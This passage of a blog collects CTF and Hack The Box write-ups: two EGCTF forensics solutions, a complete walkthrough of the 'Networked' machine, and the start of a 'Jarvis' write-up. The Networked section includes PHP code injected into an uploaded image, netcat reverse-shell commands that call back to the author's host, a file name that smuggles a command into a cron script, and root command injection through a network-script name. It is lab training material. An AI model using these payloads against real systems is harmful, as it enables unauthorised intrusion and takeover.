xGMD6pE+2DqExH1Et8VWCBGXYnz/6BEHM54xYIzN8QbeSwqx\ndKeB4y3jo7NvSfes5T6/Z+WRn3CJ/N4WDYfugACnSlk6BAx83OC+yV41PcjsLHS6x3o1HsOmXwBj\nz/fDuXnAxXvO6bhkVWB/Byvp9blK2Y7995M2Gx9U826Cj/vY+OWbFi8ifLEvulVBMyRpONsJ5CuI\nZZ2nw
6QeVYk2OA8H8+68DcIrArhaH4qaaOLPIny+VRCZ21MF0GzjDZkHJC+k0fH8cdI7aTuXVw0O\nnr8zGZ7rUNgyn7f14thYnqg9C1E+uPgqTp9bPhDuDHG0PApvj4fnORvGzZCU8YfZE22MGhGihTgA\ngmGHshEDvlP/LICC5RPTCR7LwOtmPZeRlbA9C8bl/UwM4h7Az8a1089Uj8Pu
RvNOz8Mp3t717KHJ\nOtl0iy++jHj0qfpXkNn3BqmM7FsaP8Opn4efg6UI0nVg8kQqcD5KjWNVyd//Wbnxoo4stjr4DOy7\nLI9Y9kO56NYZ9R54EiXw9UsyXnN4lvy62Al2rjRcpcA2yrK/d52aDjP91AY0Q7PEHG3t++MG0jKl\nVEUPElOjyIQLbFcAAgv0omnHIfG3WrybE1AxV
vAq25mxsS7NuyAQTs1+VOIbN+ZICRL9R6q9BXH+\nJ1yYwjPysIlEyUEfWsGFynPtAGdjtXA8hsDcWZU/k1RFDlYu2w0jAQQGAAEJivAABwsBAAIkBvEH\nAQpTBwRUId45GliZISEBBQEADIrlwMxEAAgKAY5g2lMAAAUBGQUAAAAAABElAGUAbQBwAGwAbwB5\nAGUAZQBfAGQAYQ
B0AGEALgB0AHgAdAAAABQKAQDQbKHeApTVARUGAQAgAAAAAAA=\n")
... f.close()
...
>>> exit()
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

After decoding the data I used file to check the type of the new file, it was a 7z archive:

1
2
3
4
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# base64 -d final.b64 > final.decoded
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# file final.decoded
final.decoded: 7-zip archive data, version 0.4
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

I tried to extract it, but it was password protected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded                                                                                                                                        

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on

Scanning the drive for archives:
1 file, 2954 bytes (3 KiB)

Extracting archive: final.decoded
--
Path = final.decoded
Type = 7z
Physical Size = 2954
Headers Size = 154
Method = LZMA2:24k 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
ERROR: Data Error in encrypted file. Wrong password? : employee_data.txt

Sub items Errors: 1

Archives with Errors: 1

Sub items Errors: 1
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

I checked the network capture again and found an HTTP request to a file called key.txt:


The response was a base-64 encoded string so I decoded it then I used the result as a password:

1
2
3
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# echo dGghc2MwbXBsZXhwQHNzdzByZA | base64 -d
th!sc0mplexp@ssw0rdbase64: invalid input
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# 7z e final.decoded

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on

Scanning the drive for archives:
1 file, 2954 bytes (3 KiB)

Extracting archive: final.decoded
--
Path = final.decoded
Type = 7z
Physical Size = 2954
Headers Size = 154
Method = LZMA2:24k 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
Everything is Ok

Size: 17612
Compressed: 2954
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

And finally I got the flag:

1
2
3
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary# grep EGCTF ./employee_data.txt 
| 154 | Nanette | Cambrault | NCAMBRAU | EGCTF{04ebc6f21584ef9dd240190de62c493c} | 1987-08-10 | SA_REP | 7500.00 | 0.20 | 145 | 80 |
root@kali:~/Desktop/EGCTF-Quals/forensics/Oh-My-Salary#

Forensics: Secret Agent

Challenge Description:

1
A secret agent was found sending a message to an unknown party. We managed to intercept network traffic but could not recover the message. Can you help us?

Solution

We’re given a pcapng file called SecretMessage.pcapng, by looking at the capture in wireshark and sorting the packets according to their protocol I noticed a bunch of ICMP requests with weird ttlnumbers:

These numbers were ASCII characters codes, I tried decoding the first 5 ones and I got EGCTF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# python
Python 2.7.16 (default, Apr 6 2019, 01:42:57)
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> print chr(69)
E
>>> print chr(71)
G
>>> print chr(67)
C
>>> print chr(84)
T
>>> print chr(70)
F
>>>

Doing it manually will take some time so I exported the ICMP packets as a txt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets
No. Time Source Destination Protocol Length Info
4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)

Frame 4606: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface 0
Ethernet II, Src: Vmware_44:51:4f (00:0c:29:44:51:4f), Dst: Vmware_86:2b:43 (00:0c:29:86:2b:43)
Internet Protocol Version 4, Src: 192.168.125.138, Dst: 192.168.125.143
Internet Control Message Protocol
---
No. Time Source Destination Protocol Length Info
4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)

Frame 4748: 60 bytes on wire (480 bits), 60 bytes captured (480 bits) on interface 0
Ethernet II, Src: Vmware_86:2b:43 (00:0c:29:86:2b:43), Dst: Vmware_44:51:4f (00:0c:29:44:51:4f)
Internet Protocol Version 4, Src: 192.168.125.143, Dst: 192.168.125.138
Internet Control Message Protocol
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent#

I used grep to get only the lines with ttl:

1
2
3
4
5
6
7
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep "ttl"
4606 106.913965051 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=69 (reply in 4607)
4607 106.914430466 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4606)
---
4747 110.022313975 192.168.125.138 192.168.125.143 ICMP 42 Echo (ping) request id=0x0000, seq=0/0, ttl=125 (reply in 4748)
4748 110.024784457 192.168.125.143 192.168.125.138 ICMP 60 Echo (ping) reply id=0x0000, seq=0/0, ttl=128 (request in 4747)
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent#

Then by using cut I got the ttl numbers only:

1
2
3
4
5
6
7
8
9
10
11
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1
69
128
71
128
---
95
128
125
128
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent#

We don’t need 128 because that’s the ttl number from the response packets so we’ll remove it by piping to grep -v "128", then finally will use echo -n on the output to produce a single line output:

1
2
3
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent# echo -n `cat icmp_packets | grep 'ttl' | cut -d "=" -f 4 | cut -d "(" -f 1 | grep -v "128"`
69 71 67 84 70 123 89 48 117 95 71 48 84 95 116 104 101 95 70 76 64 103 95 84 84 76 95 109 64 110 105 112 117 108 97 116 105 111 110 95 33 115 95 65 119 101 115 48 109 101 95 67 48 110 103 114 64 116 117 108 114 97 116 105 111 110 95 95 125
root@kali:~/Desktop/EGCTF-Quals/forensics/secret-agent#

I used the ASCII code tool from dcode.fr to decode the flag:

That’s it , Feedback is appreciated !
Don’t forget to read the other write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Hack The Box - Networked

16 November 2019 at 03:00

Hack The Box - Networked

Quick Summary

Hey guys, today Networked retired and here’s my write-up about it. It was a quick fun machine with an RCE vulnerability and a couple of command injection vulnerabilities. It’s a Linux box and its ip is 10.10.10.146, I added it to /etc/hosts as networked.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Desktop/HTB/boxes/networked# nmap -sV -sT -sC -o nmapinitial networked.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-16 01:16 EET
Nmap scan report for networked.htb (10.10.10.146)
Host is up (1.7s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
| 256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
|_ 256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
443/tcp closed https

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 147.70 seconds
root@kali:~/Desktop/HTB/boxes/networked#

We got ssh on port 22 and http on port 80, let’s check the web service.

Web Enumeration

The index page had nothing except for this message:

So I ran gobuster to check for sub directories and I found 2 interesting directories, /uploads and /backup:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@kali:~/Desktop/HTB/boxes/networked# gobuster -u http://networked.htb/ -w /usr/share/wordlists/dirb/common.txt                                                                                                

=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://networked.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,403
[+] Timeout : 10s
=====================================================
2019/11/16 01:21:45 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htpasswd (Status: 403)
/.htaccess (Status: 403)
/backup (Status: 301)
/cgi-bin/ (Status: 403)
/index.php (Status: 200)
/uploads (Status: 301)
=====================================================
2019/11/16 01:24:26 Finished
=====================================================
root@kali:~/Desktop/HTB/boxes/networked#

In /backup I found a tar archive that had a backup of all the site’s pages:

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop/HTB/boxes/networked# wget http://networked.htb/backup/backup.tar
--2019-11-16 01:25:13-- http://networked.htb/backup/backup.tar
Resolving networked.htb (networked.htb)... 10.10.10.146
Connecting to networked.htb (networked.htb)|10.10.10.146|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10240 (10K) [application/x-tar]
Saving to: ‘backup.tar’

backup.tar 100%[=====================================================================================================================>] 10.00K --.-KB/s in 0.1s

2019-11-16 01:25:13 (95.3 KB/s) - ‘backup.tar’ saved [10240/10240]

root@kali:~/Desktop/HTB/boxes/networked#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
root@kali:~/Desktop/HTB/boxes/networked# mkdir backup
root@kali:~/Desktop/HTB/boxes/networked# cd backup/
root@kali:~/Desktop/HTB/boxes/networked/backup# mv ../backup.tar .
root@kali:~/Desktop/HTB/boxes/networked/backup# tar xvf backup.tar
index.php
lib.php
photos.php
upload.php
root@kali:~/Desktop/HTB/boxes/networked/backup# ls -la
total 36
drwxr-xr-x 2 root root 4096 Nov 16 01:26 .
drwxr-xr-x 3 root root 4096 Nov 16 01:25 ..
-rw-r--r-- 1 root root 10240 Jul 9 13:33 backup.tar
-rw-r--r-- 1 root root 229 Jul 9 13:33 index.php
-rw-r--r-- 1 root root 2001 Jul 2 13:38 lib.php
-rw-r--r-- 1 root root 1871 Jul 2 14:53 photos.php
-rw-r--r-- 1 root root 1331 Jul 2 14:45 upload.php
root@kali:~/Desktop/HTB/boxes/networked/backup#

index.php:

1
2
3
4
5
6
7
8
<html>
<body>
Hello mate, we're building the new FaceMash!</br>
Help by funding us and be the new Tyler&Cameron!</br>
Join us at the pool party this Sat to get a glimpse
<!-- upload and gallery not yet linked -->
</body>
</html>

lib.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

function getnameCheck($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
#echo "name $name - ext $ext\n";
return array($name,$ext);
}

function getnameUpload($filename) {
$pieces = explode('.',$filename);
$name= array_shift($pieces);
$name = str_replace('_','.',$name);
$ext = implode('.',$pieces);
return array($name,$ext);
}

function check_ip($prefix,$filename) {
//echo "prefix: $prefix - fname: $filename\n";
$ret = true;
if (!(filter_var($prefix, FILTER_VALIDATE_IP))) {
$ret = false;
$msg = "4tt4ck on file ".$filename.": prefix is not a valid ip ";
} else {
$msg = $filename;
}
return array($ret,$msg);
}

function file_mime_type($file) {
$regexp = '/^([a-z\-]+\/[a-z0-9\-\.\+]+)(;\s.+)?$/';
if (function_exists('finfo_file')) {
$finfo = finfo_open(FILEINFO_MIME);
if (is_resource($finfo)) // It is possible that a FALSE value is returned, if there is no magic MIME database file found on the system
{
$mime = @finfo_file($finfo, $file['tmp_name']);
finfo_close($finfo);
if (is_string($mime) && preg_match($regexp, $mime, $matches)) {
$file_type = $matches[1];
return $file_type;
}
}
}
if (function_exists('mime_content_type'))
{
$file_type = @mime_content_type($file['tmp_name']);
if (strlen($file_type) > 0) // It's possible that mime_content_type() returns FALSE or an empty string
{
return $file_type;
}
}
return $file['type'];
}

function check_file_type($file) {
$mime_type = file_mime_type($file);
if (strpos($mime_type, 'image/') === 0) {
return true;
} else {
return false;
}
}

function displayform() {
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post" enctype="multipart/form-data">
<input type="file" name="myFile">

<input type="submit" name="submit" value="go!">
</form>
<?php
exit();
}


?>

photos.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<html>
<head>
<style type="text/css">
.tg {border-collapse:collapse;border-spacing:0;margin:0px auto;}
.tg td{font-family:Arial, sans-serif;font-size:14px;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg th{font-family:Arial, sans-serif;font-size:14px;font-weight:normal;padding:10px 5px;border-style:solid;border-width:1px;overflow:hidden;word-break:normal;border-color:black;}
.tg .tg-0lax{text-align:left;vertical-align:top}
@media screen and (max-width: 767px) {.tg {width: auto !important;}.tg col {width: auto !important;}.tg-wrap {overflow-x: auto;-webkit-overflow-scrolling: touch;margin: auto 0px;}}</style>
</head>
<body>
Welcome to our awesome gallery!</br>
See recent uploaded pictures from our community, and feel free to rate or comment</br>
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$ignored = array('.', '..', 'index.html');
$files = array();

$i = 1;
echo '<div class="tg-wrap"><table class="tg">'."\n";

foreach (scandir($path) as $file) {
if (in_array($file, $ignored)) continue;
$files[$file] = filemtime($path. '/' . $file);
}
arsort($files);
$files = array_keys($files);

foreach ($files as $key => $value) {
$exploded = explode('.',$value);
$prefix = str_replace('_','.',$exploded[0]);
$check = check_ip($prefix,$value);
if (!($check[0])) {
continue;
}
// for HTB, to avoid too many spoilers
if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {
continue;
}
if ($i == 1) {
echo "<tr>\n";
}

echo '<td class="tg-0lax">';
echo "uploaded by $check[1]";
echo "<img src='uploads/".$value."' width=100px>";
echo "</td>\n";


if ($i == 4) {
echo "</tr>\n";
$i = 1;
} else {
$i++;
}
}
if ($i < 4 && $i > 1) {
echo "</tr>\n";
}
?>
</table></div>
</body>
</html>

upload.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
require '/var/www/html/lib.php';

define("UPLOAD_DIR", "/var/www/html/uploads/");

if( isset($_POST['submit']) ) {
if (!empty($_FILES["myFile"])) {
$myFile = $_FILES["myFile"];

if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
echo '<pre>Invalid image file.</pre>';
displayform();
}

if ($myFile["error"] !== UPLOAD_ERR_OK) {
echo "<p>An error occurred.</p>";
displayform();
exit;
}

//$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
list ($foo,$ext) = getnameUpload($myFile["name"]);
$validext = array('.jpg', '.png', '.gif', '.jpeg');
$valid = false;
foreach ($validext as $vext) {
if (substr_compare($myFile["name"], $vext, -strlen($vext)) === 0) {
$valid = true;
}
}

if (!($valid)) {
echo "<p>Invalid image file</p>";
displayform();
exit;
}
$name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

$success = move_uploaded_file($myFile["tmp_name"], UPLOAD_DIR . $name);
if (!$success) {
echo "<p>Unable to save file.</p>";
exit;
}
echo "<p>file uploaded, refresh gallery</p>";

// set proper permissions on the new file
chmod(UPLOAD_DIR . $name, 0644);
}
} else {
displayform();
}
?>

/upload.php:

/photos.php:

RCE –> Shell as apache

We can use upload.php to upload images then we can view them through photos.php or /uploads/image_name. For some time I tried to bypass the extension filter in upload.php to upload php files but I wasn’t able to bypass it. However I could get RCE by injecting php code in the uploaded images.
I got a solid black image and called it original.png, let’s upload it:




Now let’s copy that image and inject some php code into the new image:

1
2
3
4
5
6
root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("whoami");' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> test.png
root@kali:~/Desktop/HTB/boxes/networked# mv test.png test.php.png
root@kali:~/Desktop/HTB/boxes/networked#

I injected <?php passthru("whoami"); ?> which should execute whoami, let’s test it:



Now if we view the file from /uploads we won’t get the image, we’ll get the binary data of the image and the result of the executed php code at the end:

whoami got executed successfully and we’re the user apache.
I created another one to get a reverse shell:

1
2
3
4
5
root@kali:~/Desktop/HTB/boxes/networked# cp original.png ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked# echo '<?php' >> ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked# echo 'passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.xx.xx 1337 >/tmp/f");' >> ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked# echo '?>' >> ./shell.php.png
root@kali:~/Desktop/HTB/boxes/networked#

And I got a shell as apache:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:55662.
sh: no job control in this shell
sh-4.2$ whoami
whoami
apache
sh-4.2$ id
id
uid=48(apache) gid=48(apache) groups=48(apache)
sh-4.2$ hostname
hostname
networked.htb
sh-4.2$

Command Injection in check_attack.php –> Shell as guly –> User Flag

First thing I did after getting a shell was to make it stable:

1
2
3
4
5
6
7
8
9
10
11
12
sh-4.2$ which python
which python
/usr/bin/python
sh-4.2$ python -c "import pty;pty.spawn('/bin/bash')"
python -c "import pty;pty.spawn('/bin/bash')"
bash-4.2$ ^Z
[1]+ Stopped nc -lvnp 1337
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1337

bash-4.2$ export TERM=screen
bash-4.2$

Then I started to enumerate the box, there was only one user on the box called guly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
bash-4.2$ cd /home/
bash-4.2$ ls -al
total 0
drwxr-xr-x. 3 root root 18 Jul 2 13:27 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 guly
bash-4.2$ cd guly/
bash-4.2$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 1920 Nov 16 00:27 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
bash-4.2$ cat user.txt
cat: user.txt: Permission denied
bash-4.2$

We can’t read the flag as apache, but there are some other interesting readable stuff, crontab.guly shows that /home/guly/check_attack.php gets executed as guly every 3 minutes:

1
2
3
bash-4.2$ cat crontab.guly
*/3 * * * * php /home/guly/check_attack.php
bash-4.2$

check_attack.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
bash-4.2$ cat check_attack.php
<?php
require '/var/www/html/lib.php';
$path = '/var/www/html/uploads/';
$logpath = '/tmp/attack.log';
$to = 'guly';
$msg= '';
$headers = "X-Mailer: check_attack.php\r\n";

$files = array();
$files = preg_grep('/^([^.])/', scandir($path));

foreach ($files as $key => $value) {
$msg='';
if ($value == 'index.html') {
continue;
}
#echo "-------------\n";

#print "check: $value\n";
list ($name,$ext) = getnameCheck($value);
$check = check_ip($name,$value);

if (!($check[0])) {
echo "attack!\n";
# todo: attach file
file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

exec("rm -f $logpath");
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
echo "rm -f $path$value\n";
mail($to, $msg, $msg, $headers, "-F$value");
}
}

?>
bash-4.2$

This script checks for files that aren’t supposed to be in the uploads directory and deletes them, the interesting part is how it deletes the files, it appends the file name to the rm command without any filtering which makes it vulnerable to command injection:

1
exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

$path is the path of the uploads directory:

1
$path = '/var/www/html/uploads/';

And $value is the suspicious file’s name.
We can simply go to /var/www/html/uploads and create a file that holds the payload in its name. The name will start with a semicolon ; (to inject the new command) then the reverse shell command.

1
2
3
bash-4.2$ cd /var/www/html/uploads
bash-4.2$ touch '; nc 10.10.xx.xx 1338 -c bash'
bash-4.2$

After some time I got a shell as guly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::1338
Ncat: Listening on 0.0.0.0:1338
Ncat: Connection from 10.10.10.146.
Ncat: Connection from 10.10.10.146:60812.
whoami
guly
python -c "import pty;pty.spawn('/bin/bash')"
[guly@networked ~]$ ^Z
[1]+ Stopped nc -lvnp 1338
root@kali:~/Desktop/HTB/boxes/networked# stty raw -echo
root@kali:~/Desktop/HTB/boxes/networked# nc -lvnp 1338

[guly@networked ~]$ export TERM=screen
[guly@networked ~]$ id
uid=1000(guly) gid=1000(guly) groups=1000(guly)
[guly@networked ~]$ ls -al
total 32
drwxr-xr-x. 2 guly guly 178 Nov 16 00:31 .
drwxr-xr-x. 3 root root 18 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly 18 Oct 30 2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30 2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30 2018 .bashrc
-r--r--r--. 1 root root 782 Oct 30 2018 check_attack.php
-rw-r--r-- 1 root root 44 Oct 30 2018 crontab.guly
-rw------- 1 guly guly 3072 Nov 16 00:48 dead.letter
-r--------. 1 guly guly 33 Oct 30 2018 user.txt
-rw------- 1 guly guly 749 Nov 16 00:31 .viminfo
[guly@networked ~]$

We owned user.

Command Injection in the Network Script Name –> Root Shell –> Root Flag

As guly I checked sudo -l and found that guly can run /usr/local/sbin/changename.sh as root without a password:

1
2
3
4
5
6
7
8
9
10
11
12
13
[guly@networked ~]$ sudo -l
Matching Defaults entries for guly on networked:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
(root) NOPASSWD: /usr/local/sbin/changename.sh
[guly@networked ~]$

changename.sh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[guly@networked ~]$ cat /usr/local/sbin/changename.sh
#!/bin/bash -p
cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
DEVICE=guly0
ONBOOT=no
NM_CONTROLLED=no
EoF

regexp="^[a-zA-Z0-9_\ /-]+$"

for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
echo "interface $var:"
read x
while [[ ! $x =~ $regexp ]]; do
echo "wrong input, try again"
echo "interface $var:"
read x
done
echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
done

/sbin/ifup guly0
[guly@networked ~]$

This script simply creates a network script for an interface called guly then activates that interface. It asks the user for these options: NAME, PROXY_METHOD, BROWSER_ONLY, BOOTPROTO.

1
2
3
4
5
6
7
8
9
10
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
ERROR : [/etc/sysconfig/network-scripts/ifup-eth] Device guly0 does not seem to be present, delaying initialization.

We’re only interested in the NAME option because according to this page we can inject commands in the interface name. Let’s try to execute bash:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[guly@networked ~]$ sudo /usr/local/sbin/changename.sh
interface NAME:
test bash
interface PROXY_METHOD:
test
interface BROWSER_ONLY:
test
interface BOOTPROTO:
test
[root@networked network-scripts]# whoami
root
[root@networked network-scripts]# id
uid=0(root) gid=0(root) groups=0(root)
[root@networked network-scripts]# cd /root/
[root@networked ~]# ls -la
total 28
dr-xr-x---. 2 root root 144 Jul 15 11:34 .
dr-xr-xr-x. 17 root root 224 Jul 2 13:27 ..
lrwxrwxrwx. 1 root root 9 Jul 2 13:35 .bash_history -> /dev/null
-rw-r--r--. 1 root root 18 Dec 29 2013 .bash_logout
-rw-r--r--. 1 root root 176 Dec 29 2013 .bash_profile
-rw-r--r--. 1 root root 176 Dec 29 2013 .bashrc
-rw-r--r--. 1 root root 100 Dec 29 2013 .cshrc
-r--------. 1 root root 33 Oct 30 2018 root.txt
-rw-r--r--. 1 root root 129 Dec 29 2013 .tcshrc
-rw------- 1 root root 1011 Jul 15 11:34 .viminfo
[root@networked network-scripts]#

And we got a root shell.

We owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Jarvis
Next Hack The Box write-up : Hack The Box - Chainsaw

Hack The Box - Jarvis

9 November 2019 at 03:00

Hack The Box - Jarvis

Quick Summary

Hey guys, today Jarvis retired and here’s my write-up about it. It was a nice easy box with a web application vulnerable to SQL injection, a python script vulnerable to command injection and a setuid binary that could be abused to get a root shell. It’s a medium box and its ip is 10.10.10.143, I added it to /etc/hosts as jarvis.htb. Let’s jump right in!

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~/Desktop/HTB/boxes/jarvis# nmap -sV -sT -sC -o nmapinitial jarvis.htb
